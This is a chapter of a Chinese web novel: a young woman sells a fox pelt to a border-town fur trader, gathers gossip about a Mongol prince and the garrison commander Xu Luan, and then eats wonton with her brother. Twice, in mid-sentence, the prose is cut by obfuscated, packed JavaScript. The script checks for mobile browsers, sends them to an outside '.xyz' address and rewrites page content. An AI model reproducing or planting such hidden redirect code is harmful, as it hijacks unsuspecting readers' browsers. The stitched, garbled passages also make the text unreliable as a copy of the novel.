终于,在一个相对僻静的角落,一家中药铺子旁边,袁微识找到了目标。 几根粗木棍和破旧油布勉强搭起的棚子,地方不大,收拾得倒还算利落。 摊主是个干瘦老汉,看脸约莫有五十岁年纪,穿着一身油光发亮、看不出颜色的皮袄,脸上沟壑纵横,唯有一双眼睛,浑浊中透着一丝精明。 他嘴里叼着一个锃亮的铜烟锅,有一搭没一搭地吧嗒着,眯着眼打量过往行人。 他的摊位上,皮子种类不多,但明显硝制得比别处用心些,毛色也更鲜亮。 袁微识默念一下腹稿,拉着文柏走过去。 她打开包裹,把沙狐皮轻轻放在老汉摊子最显眼的位置。在屋子里看起来灰扑扑的毛皮,现在反而有了光泽。 老汉浑浊的眼睛瞬间亮了一下,他放下烟锅,熟练地捻起那块皮子,里里外外仔细摩挲着。 “嗯哼,嗯嗯嗯。”老汉从喉咙里含糊地吐出几个声音,抬眼看向袁微识:“小娘子,好东西啊。沙狐可不好猎,你这皮子硝得也地道,没伤着皮板。哪弄来的?” “家里长辈早年存下的旧物,压在箱底,日子艰难,翻出来换点油钱。”袁微识表现得有些难过。 老汉努着嘴点点头,似乎信了,又似乎根本不在意来历。 他伸出三根黑黢黢的手指:“这个数,一口价。” 三百文钱?果然是个奸商! 袁微识心中哂笑,面上却不动声色,只微微皱眉,拿起那块皮子作势要走:“老丈,这价…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991482|177271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是连硝制的本钱都回不来。我还是到别地看看。” “哎哎,小娘子别急嘛!”老汉连忙放下烟锅,堆起笑脸,“买卖,买卖,有商有量才叫买卖!我看你也是个实在人,这样,再加一点!四百文!这年头,兵荒马乱的,皮子不好走啊!” “兵荒马乱?”袁微识顺势接话,脸上挂满忧虑,“老丈说的,可是北边那些游兵?” “可不是嘛!”老汉像是打开了话匣子,又凑近烟锅,吧嗒吸了一口,吐出一团浓烟,“就离这儿不远,翻过北边那道秃岭梁子,就是黑风峪的外围林子。那里面,可藏着狼崽子呢!” “黑风峪?”袁微识心头一跳,“离镇上很远吗?听着怪吓人的。” “怎么,你不是本地人?” 袁微识看了一眼文柏,不好意思地笑了笑。 “不瞒老丈,我家刚迁过来。” 老汉了然,点了点头。 “不习惯吧?待久了就好了,咱们这地儿,离神仙远,自在。” 袁微识抿嘴微笑,又追问道:“黑风峪是座山吗?我们能去看看吗?” “黑风峪那,说远不远,说近不近。” 老汉用烟锅杆子指了指北边灰蒙蒙的天空:“快马加鞭,大半天脚程吧。那鬼地方,山深林密,冬天大雪一封,别说人,鬼都进不去!可偏偏就有不要命的在那里面扎营。” 他压低了声音,眯起眼睛,得意地笑:“蒙古大王的小儿子,帖木儿,知道不?带着他那几十号人,就在那附近晃荡,跟草原上的秃鹫似的,专拣落单的商队和边民下手!” 袁微识露出惊惧又好奇的神色:“蒙古大王的儿子?那不是王子吗?怎么才带这么点人?” “王子?呸!” 老汉朝地上吐了一口浓痰,“这小子他娘是个汉人,能得大王待见?他那几个哥哥,哪个不是手握重兵?就他,姥姥不疼舅舅不爱的,被扔在这鸟不拉屎的边角料上,给他大哥当看门狗呢!替他大哥探路、抢掠,干些见不得人的脏活累活,回头骨头渣子都未必能分到几口热的!” “那……这帖木儿王子,为人如何?凶狠吗?” “凶狠?那倒也算不上顶凶狠。”老汉吧嗒着烟,眯着眼回忆。 “这小子年纪不大,心机深着呢!表面上看着对他大哥毕恭毕敬,当狗当得心甘情愿似的,可那双眼睛可漏了陷了。啧啧,老汉我走南闯北几十年,啥人没见过?他那眼神,阴得很!看着温顺,指不定啥时候就窜出来咬你一口!前年冬天,有两拨商队在他眼皮子底下火并,他愣是没管,等两边都死得差不多了,才慢悠悠出来‘调解’,顺手把两边值钱货全卷走了!你说这心黑不黑?” 袁微识连连点头,崇拜地看着老汉。 老汉越说越带劲,唾沫横飞,颇为得意:“小娘子你是不知道,那会儿箭矢就在我头顶上嗖嗖飞!老汉我啊,就趴在一辆翻倒的粮车底下,大气都不敢出!眼睁睁看着那些杀才们砍来砍去,血流了一地,冻成红冰溜子!帖木儿那小子,就带着他的人,远远地在山坡上看戏,那眼神,啧啧,冷得跟这北风似的!”他脸上带着后怕,啧啧两声,又吧嗒抽了一口烟。 7.八卦 袁微识一脸钦佩:“老丈真是见多识广,运气也好!能在那种地方全身而退,还把这皮子生意做得这般稳当,真真是大本事!” 这马屁显然拍得老汉十分舒坦,他哈哈一笑,脸上的褶子都舒展开不少:“混口饭吃,混口饭吃罢了!小娘子你识货,人也爽利!这样,看在你我有缘的份上,这块皮子,半吊钱!不能再多了!这年头,能平安把货弄出去才是真本事,价钱嘛,都是虚的!” 袁微识心知这已是老汉愿意出的最高价了。 她不再犹豫,爽快地将皮子推过去:“好,就依老丈的。多谢您照拂了。” 交易完成,气氛似乎更融洽了些。 袁微识将铜钱小心系到袖子里,随意地闲聊道:“说起来,我们初来乍到,听说这嘉峪关的守备徐大人,是个厉害人物?有他在,想必那些游兵也不敢太放肆吧?” “徐乱?”老汉脸上的笑容淡了些,叼着烟锅,眼神变得有些复杂。 “那是个活阎王!杀起人来眼都不眨!手底下的兵,比草原上的狼还狠!有他在,嘉峪关这一线,确实安稳不少,那些零散的鞑子轻易不敢过来。” 他顿了顿,左右瞟了一眼,声音压得更低:“不过嘛,小娘子,这话老汉也就跟你说说。这位徐阎王,本事是大,那上头,可未必待见他啊!”他伸出枯瘦的手指,隐晦地向上指了指。 袁微识心里咯噔一声。 “这是怎么说?老丈是说燕王殿下吗?” 老汉没直接回答,只是吧嗒了一会烟嘴,才又重新开口。 “燕王殿下纵横北疆,见过多少世面?那是跟着先帝打天下的人物!徐守备这种性子,锋芒太露,不懂收敛。他杀鞑子狠,对自己人,对那些不听话的豪强、不按规矩来的商队,下手也从不留情!挡了多少人的财路?又碍了多少人的眼?燕王殿下身边,可不止他一个带兵的将军!” “听说,只是听说啊,”他把手搭在嘴上,压低声音:“他在北京城那边,根基浅得很,没什么得力的靠山。全靠一身不要命的狠劲撑着。可这年头,天下承平,除了北边这些小喽啰,还有哪能打仗?光会砍人,路能走多远?” 袁微识皱起眉头。 这可和她听说的不一样。 若是徐乱真的只是个莽夫,那进黑山峪的烟雾弹是谁放的?或许是他身边的幕僚? 那这个幕僚也是她必须要重点关注的。 袁微识忽然想起那一天徐乱马后的青衣文人。 那天她太慌乱,略过了很多信息。现在想想,徐乱和燕王的关系,比她想象的更复杂。 “姐姐?” 文柏见她久久不语,轻轻扯了扯她的袖子。 袁微识回神,看到文柏苍白的小脸,连忙对那老汉笑了笑:“多谢老丈指点。这世道艰难,我们小门小户,只求安稳度日罢了。” 她拉了文柏,“天色不早,我们还得去买些东西,老丈就此别过。” 老汉也拱拱手,坐了回去,又叼起烟锅,眯着眼,恢复了混日子的模样,仿佛刚才的谈话从未发生过。 袁微识拉着文柏继续向前走,文柏沉默一会,终于忍不住小声问:“长姐,那个老丈说的,徐乱他会不会很危险?那,那你——” 小小的少年心思写在脸上,徐乱是姐夫这件事已成事实,他开始为他担心,又有些得意,仿佛徐乱马上就要被贬斥。他活该! 但是那样长姐也会跟着吃挂落! 他皱着脸,不知道是该为这件没影儿的事高兴,还是担忧。 袁微识猜到了文柏的心思,忍不住笑弯了眼。 “文柏,不要做无谓的担忧。靠山山会倒,靠人人会跑。我们能依靠的,只有自己手里能抓住的东西。” 她低下头,看着自己冻得通红的手。 这双手,能提笔写锦绣文章打遍金陵无敌手,能捏着银簪刺向恶徒,也一定能长成一柄利剑,斩杀恶人,为袁家平反。 继续往前,逐渐靠近镇子的中央。 道路似乎平整了些,虽然依旧是黄土路,但两边用碎石头垫了垫,污水也少了些。 道路两旁的铺子也逐渐干净起来,各种吃食摊子琳琅满目,愈发精致。 巨大的烟火味让心情不佳的袁微识面色和缓,更不用说小少年文柏,他目光雀跃,这么多天,第一次活泛起来。 往前走,一个避风的角落里,支起一顶毡布棚子,棚子下面,一口大锅架在炉子上,锅盖掀开一角,白色蒸汽滚滚喷出,浓郁的鸡汤味随着一缕缕白烟,飘到文柏鼻子里。 棚子前面立着一块粗糙的木牌,黑炭歪歪扭扭写着“馄饨”二字。 一个妇人拿漏勺伸进去,捞出十来枚各个饱满大肚的馄饨,用锅盖接着放到粗瓷大碗里,又转身在另一口小火慢炖的大罐子里舀出一碗热腾腾的白汤,利落地倒在大碗里,随即用铁叉子抄起碗底,快走两步放到旁边的小木桌上。 桌旁的老汉趴下去哧溜一声吸了一口汤,大叫“不够不够,来点辣子!” “哎!这就给您添!” 正在擦拭另一张桌子的小丫头在围裙上抹了抹手,噔噔噔跑到大锅前的案板上,端过一罐红彤彤的辣子。 辣子倒入汤里,混着油脂飘在碗上,煞是好看。 妇人没再看这边,已经转身又去包馄饨了,动作快的只见残影。 小丫头十二三岁,梳着紧紧的双丫髻,头上的红绳随着她擦桌子的动作一晃一晃。 “馄饨!热乎的馄饨!大叔您慢点,馄饨汤管够!姐姐,来吃碗馄饨吧,老母鸡吊的汤,三鲜的馅儿,吃了暖身子!”小丫头脆生生吆喝起来。 文柏的眼睛粘在那摊子上,脚步不由得慢下来。他悄悄吞了下口水,扯了扯袁微识的袖子。 “长姐,那,那是什么?闻着好香。” “哎哟哟,这位哥哥,连馄饨都不认得啦?”小丫头捂着嘴咯咯笑,故意拖长了声音。 “这是馄饨呀!来尝尝吧,吃一回就知道了,包管好吃!” 文柏的脸腾地一下变得通红,他手足无措,不敢看人。周围人发出善意的哄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004476|177271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声,让他更加窘迫。 袁微识轻轻拍了拍他的手安抚:“馄饨,和我们的云吞有些相似。你才多大,不识得也是正常的。” 她抬头对小丫头道:“这位妹妹,馄饨多少钱一碗?” “小碗十个,三文钱,大碗十五个,四文钱!来两个大碗吧,划算!” 袁微识摇了摇头,“一份大碗,麻烦你再给我拿个小碗。” “好嘞!”小丫头闻言并没有露出任何鄙夷,而是手脚麻利的搬过两张矮凳放在桌边,“您二位坐这儿稍等,马上就好!” 那边厢妇人已经捡了十五个馄饨扔进大锅里,大锅冷寂了一瞬,又立即开始咕嘟起来。 一会的功夫,热腾腾的馄饨就端了过来。 粗瓷大碗里,清亮的汤底飘着点点油星和翠绿的葱花,一个个白胖的馄饨挤挤挨挨地浮在汤面上,薄薄的面皮隐约透出里面的馅,香气扑鼻。 袁微识拿起勺子舀了四五个分到小碗里,递给文柏。 文柏顾不得烫,小心翼翼地舀起一个吹了吹,迫不及待地送进嘴里,鲜美的汤汁混合着软糯的面皮和扎实的馅在口中爆开,他满足地眯起了眼,连呼出的白气都带着暖意。 “长姐!真好吃!这皮比我们家的劲道!”文柏笑眯了眼。 袁微识也捡了两个慢慢吃着,热汤下肚,驱散了些许寒意。 她一边留意着文柏别烫着,一边随意与那忙着擦旁边桌子的小丫头攀谈起来。 “妹妹,你们这生意看着真是不错。” “还行吧!” 小丫头用抹布擦着桌子,头也没抬,“这沙河驿虽偏,可架不住人多呀!喏,瞧见没——” 她下巴朝镇子北口的方向努了努,“嘉峪关军营那些大爷们,轮着班回城休整,都得打这儿过!他们手里有饷银,又舍得花,可不就是我们的财神爷?还有那些南来北往的商队脚夫,天冷了,谁不想喝碗热乎的?只要这军营不倒,这驿路不断,我们这小摊子就饿不死!” “赚大钱,那可没我们的份儿咯!也就是凑合过日子!” 袁微识笑了笑,小丫头小小年纪还懂得藏拙,又忍不住有炫耀的意思,实在可爱。 “又胡说!”那妇人嗔怪小丫头,拍了一下她的脑袋,也擦了擦手坐了过来。已过了晌午饭时,人不多了,正好歇一下。 “小娘子,你别听我姑娘瞎说。”她叹了口气,揉着自己红肿的手指关节,又抬头打量袁微识。 “小娘子新来的吧?你这袄子可有些薄了,这边苦寒,你可过得惯?” 袁微识低头笑道:“我觉得挺好的,风沙虽大,地却开阔,让人心里舒朗。人也爽快。令媛这样的小妹妹,多招人喜欢!” “嗨!你说她啊。” 妇人又嫌弃又自豪:“捣蛋顶嘴,样样不少!不过,我这小丫头,能顶个儿子用呢!我汉子给她起名,叫个大强!我嫌女孩子叫什么大的粗的,改了小强。” ? 袁微识微微张嘴,不知道该怎么评价,只好转过话题。